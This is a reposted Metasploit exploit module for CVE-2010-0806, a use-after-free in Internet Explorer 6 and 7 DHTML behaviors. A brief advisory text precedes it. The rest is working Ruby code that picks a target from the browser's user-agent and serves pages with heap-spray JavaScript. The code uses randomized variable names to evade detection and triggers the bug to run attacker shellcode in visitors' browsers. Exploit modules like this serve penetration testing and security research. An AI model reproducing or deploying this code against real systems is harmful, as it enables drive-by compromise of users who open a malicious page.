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Internet Explorer DTHML Behaviors Use After Free

Internet Explorer DTHML Behaviors Use After Free
Posted Apr 1, 2010
Authored by Nanika, Trancer | Site metasploit.com

This Metasploit module exploits a use-after-free vulnerability within the DTML behaviors functionality of Microsoft Internet Explorer versions 6 and 7. This bug was discovered being used in-the-wild and was previously known as the "iepeers" vulnerability. The name comes from Microsoft's suggested workaround to block access to the iepeers.dll file. According to Nico Waisman, "The bug itself is when trying to persist an object using the setAttribute, which end up calling VariantChangeTypeEx with both the source and the destination being the same variant. So if you send as a variant an IDISPATCH the algorythm will try to do a VariantClear of the destination before using it. This will end up on a call to PlainRelease which decref the reference and clean the object." NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.

tags | exploit
advisories | CVE-2010-0806
SHA-256 | 2050b221f455e1fa58a8d196ecf708064b18b0b04314d24c17d3d8356494d06e

Internet Explorer DTHML Behaviors Use After Free

Change Mirror Download
##
# $Id: ms10_018_ie_behaviors.rb 8968 2010-03-31 22:36:10Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# originally ie_iepeers_pointer.rb
#
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
# - Microsoft Internet Explorer 7, Windows Vista SP2
# - Microsoft Internet Explorer 7, Windows XP SP3
# - Microsoft Internet Explorer 6, Windows XP SP3
#
# Exploit found in-the-wild. For additional details:
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer DTHML Behaviors Use After Free',
'Description' => %q{
This module exploits a use-after-free vulnerability within the DTML behaviors
functionality of Microsoft Internet Explorer versions 6 and 7. This bug was
discovered being used in-the-wild and was previously known as the "iepeers"
vulnerability. The name comes from Microsoft's suggested workaround to block
access to the iepeers.dll file.

According to Nico Waisman, "The bug itself is when trying to persist an object
using the setAttribute, which end up calling VariantChangeTypeEx with both the
source and the destination being the same variant. So if you send as a variant
an IDISPATCH the algorythm will try to do a VariantClear of the destination before
using it. This will end up on a call to PlainRelease which decref the reference
and clean the object."

NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # original discovery
'Trancer <mtrancer[at]gmail.com>', # metasploit module
'Nanika', # HIT2010 IE7 reliable PoC
'jduck' # minor cleanups
],
'Version' => '$Revision: 8968 $',
'References' =>
[
[ 'CVE', '2010-0806' ],
[ 'OSVDB', '62810' ],
[ 'BID', '38615' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
[ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ],
[ 'URL', 'http://eticanicomana.blogspot.com/2010/03/aleatory-persitent-threat.html' ],
[ 'MSB', 'MS10-018' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ '(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista',
{
'Method' => 'automatic'
}
],

[ 'IE 6 SP0-SP2 (onclick)',
{
'Method' => 'onclick',
'Ret' => 0x0C0C0C0C
}
],

# "A great celebration of HIT2010" - http://www.hitcon.org/
[ 'IE 7.0 (marquee)',
{
'Method' => 'marquee',
'Ret' => 0x0C0C0C0C
}
],
],
'DisclosureDate' => 'Mar 09 2010',
'DefaultTarget' => 0))
end


def auto_target(cli, request)
mytarget = nil

agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent =~ /Windows NT 6\.0/
mytarget = targets[2] # IE7 on Vista
elsif agent =~ /MSIE 7\.0/
mytarget = targets[2] # IE7 on XP and 2003
elsif agent =~ /MSIE 6\.0/
mytarget = targets[1] # IE6 on NT, 2000, XP and 2003
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end

mytarget
end


def on_request_uri(cli, request)

if target['Method'] == 'automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
else
mytarget = target
end

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))

# Set the return\nops
ret = Rex::Text.to_unescape([mytarget.ret].pack('V'))

# Randomize the javascript variable names
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_array = rand_text_alpha(rand(100) + 1)
j_function1 = rand_text_alpha(rand(100) + 1)
j_function2 = rand_text_alpha(rand(100) + 1)
j_object = rand_text_alpha(rand(100) + 1)
j_id = rand_text_alpha(rand(100) + 1)

# Construct the final page
case mytarget['Method']

when 'onclick'
html = %Q|<html><body>
<button id='#{j_id}' onclick='#{j_function2}();' style='display:none'></button>
<script language='javascript'>
function #{j_function1}(){
var #{j_shellcode} = unescape('#{shellcode}');
#{j_memory} = new Array();
var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);
var #{j_nops} = unescape('#{ret}');
while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);
delete #{j_nops};
for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};
}
}
function #{j_function2}(){
#{j_function1}();
var #{j_object} = document.createElement('body');
#{j_object}.addBehavior('#default#userData');
document.appendChild(#{j_object});
try {
for (#{j_counter}=0; #{j_counter}<10; #{j_counter}++) {
#{j_object}.setAttribute('s',window);
}
} catch(e){ }
window.status+='';
}

document.getElementById('#{j_id}').onclick();
</script></body></html>
|

when 'marquee'
j_attrib = rand_text_alpha(6);
html = %Q|<html>
<head>
<style type="text/css">
.#{j_object} {behavior: url(#default#userData);}
</style>
</head>
<script>
function #{j_function1}(){
var #{j_shellcode} = unescape('#{shellcode}');
#{j_memory} = new Array();
var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);
var #{j_nops} = unescape('#{ret}');
while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);
delete #{j_nops};
for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};
}
}
function #{j_function2}() {
#{j_function1}();
for (#{j_counter} = 1; #{j_counter} <10; #{j_counter} ++ ){
#{j_id}.setAttribute("#{j_attrib}",document.location);
}
#{j_id}.setAttribute("#{j_attrib}",document.getElementsByName("style"));
document.location="about:\\u0c0c\\u0c0c\\u0c0c\\u0c0cblank";
}
</script>
<body onload="#{j_function2}();"></body>
<MARQUEE id="#{j_id}" class="#{j_object}"></MARQUEE>
</html>
|

end

# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)

end

end
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